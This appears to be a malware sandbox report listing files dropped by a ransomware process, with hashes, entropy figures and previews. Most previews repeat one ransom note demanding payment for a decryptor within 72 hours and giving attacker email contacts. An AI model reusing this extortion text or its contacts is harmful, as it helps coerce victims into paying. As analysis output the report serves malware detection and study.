                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):292
                                                                                                                                        Entropy (8bit):7.246498893610823
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:ME2CcjWsPt0TxVVIMj9avmj1ovf+CedVg04AwbisSn:v2Ci29VVIMRPhoOl004x1Sn
                                                                                                                                        MD5:9138798EADB72ED2034E9869A2CA0FD8
                                                                                                                                        SHA1:6B34D775718BA4B28F0EBFBAC6F96D06E99154BF
                                                                                                                                        SHA-256:47F33A5BFD88337E229F3EDC5E5C5F536EF1C9301B9B911486E02749DC6A1D7A
                                                                                                                                        SHA-512:6C899AEBF4F2BADD8DE32D85DF287E869331DFCF9E16A0C176F8EFB58BD13C23941978C9924EAB1FA352F48BDF6F392C9F867BD2DD80EB5A046B8C935C1056FC
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:....367b.l1.%...........:+..d.yw.Xd.......L'+.._....H....P...:........^..b.9H..0_.......6....9.....{Kx.S....N4...R...B.[........_v.@cS........'ZO.U....Z....6.....1.5..|.......r.-........Y.L..)...4a.C#"E.g...`..)..jF..ju.4u.a.f.h..;A.w].No{...9=..6..]'.D.G......6.....Y`.0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.175300190012195
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:I9Rm1gOBkkkvqXVsiM8KV1skpgrJWGvIsBYi3xRt+vmn:I9IgOBMvqlspCkpgEGQgiun
                                                                                                                                        MD5:3962FC91988A7BDDA9C3CCBC4594632E
                                                                                                                                        SHA1:726D7B8051707D36F70D15B0F69DA8C0A2C8A66F
                                                                                                                                        SHA-256:79830FC66D18E7F75583FA39D0F1900E42E0931D113922CACE71219E74C78FD4
                                                                                                                                        SHA-512:FFFFBE046EBDEB0B6F49E35AA012C7785AE147AF88AEAB407934D40B091A0E12EE528F10364AC021464F83B14ECE0BB45F67B75B789771EE88C3F50F952AB445
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...$g.'...}.0.....g7.......+.R.mfW~....P...?_.*-...1..Dh....K.......m..+.0...,]H.x.{V..-..[F..g.A.{l..nS.....G.g.;(k..z..@.E.....y..C..R/....zP......N...1`..Y....p....X.8...PE.s.$.`...7\U..^.x...6(.....[.....8q..H'..q*z.{"..-..2?..2...|.....(..\n........lHNz.*0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):290
                                                                                                                                        Entropy (8bit):7.175300190012195
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:6:I9Rm1gOBkkkvqXVsiM8KV1skpgrJWGvIsBYi3xRt+vmn:I9IgOBMvqlspCkpgEGQgiun
                                                                                                                                        MD5:3962FC91988A7BDDA9C3CCBC4594632E
                                                                                                                                        SHA1:726D7B8051707D36F70D15B0F69DA8C0A2C8A66F
                                                                                                                                        SHA-256:79830FC66D18E7F75583FA39D0F1900E42E0931D113922CACE71219E74C78FD4
                                                                                                                                        SHA-512:FFFFBE046EBDEB0B6F49E35AA012C7785AE147AF88AEAB407934D40B091A0E12EE528F10364AC021464F83B14ECE0BB45F67B75B789771EE88C3F50F952AB445
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:...$g.'...}.0.....g7.......+.R.mfW~....P...?_.*-...1..Dh....K.......m..+.0...,]H.x.{V..-..[F..g.A.{l..nS.....G.g.;(k..z..@.E.....y..C..R/....zP......N...1`..Y....p....X.8...PE.s.$.`...7\U..^.x...6(.....[.....8q..H'..q*z.{"..-..2?..2...|.....(..\n........lHNz.*0xABADCABA
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):4165
                                                                                                                                        Entropy (8bit):4.792271041094558
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:96:cvNlHaKqHidPMU+SVbYTlzcSpNzRTZY55MVdgMO1:Qn6FH4PMU+MclcSpVRFY55MVdc
                                                                                                                                        MD5:73A838375F20E252402225AA5083BFB2
                                                                                                                                        SHA1:201B4C1BD1EB831DBDB72C427E0EADBBA6A55E2B
                                                                                                                                        SHA-256:9D4D5DF0AF55B1DD72FA635F675368324DECB0E107F9B04438AA73BAC7D275B9
                                                                                                                                        SHA-512:F950847DAD079C685E7D7142B21A837973235985945B0400F97215F9643BE37DB72C65F26D97F0148D82ECD8165345392D5CA62D7C8CFA986E3F68E1FDC25B0E
                                                                                                                                        Malicious:false
                                                                                                                                        Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' foeder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com..Attach this file in the email...ID :60560F8248A29835B0D9ACAA8F0E59336CD5839743C15C381D3E3152DC65DF2F88FB4D6D0C53C776BFE3C49D938B35995FAAAE7C14F0C2AC93E6E2754BB0A555D3B5EFE34D80BD9F622D45370189A8260FE472632D269573722F2A8EF7A
                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                        File Type:data
                                                                                                                                        Category:dropped
                                                                                                                                        Size (bytes):734
                                                                                                                                        Entropy (8bit):7.667338089352823
                                                                                                                                        Encrypted:false
                                                                                                                                        SSDEEP:12:9XurfQQt0TbxO24o8LJxkt5pW23Z+cIXkY1jwQnAYiiiSzNSJRNt3Y0/2Q579PY9:9+ro8Qbx94oou3FyXD1jP9WSsJRNt3ve
                                                                                                                                        MD5:250722AB412F80668574EE007FB04752
                                                                                                                                        SHA1:1A2FA846EBC088C90883C0ADA2E97768215B2A97
                                                                                                                                        SHA-256:BE89225AF74549F4A49938679172F2D3DF49BFC5D4B92EF04415DEE6C6C47E10
                                                                                                                                        SHA-512:BE5A128912815C8C954A68A1D5E1854820312B3DA95BDC7656130045A846492ED3BF82B69E22094D222F6D3E1DAC0DF7420CD8F663B8C9BB6D343BCEB279F161
                                                                                                                                        Malicious:false
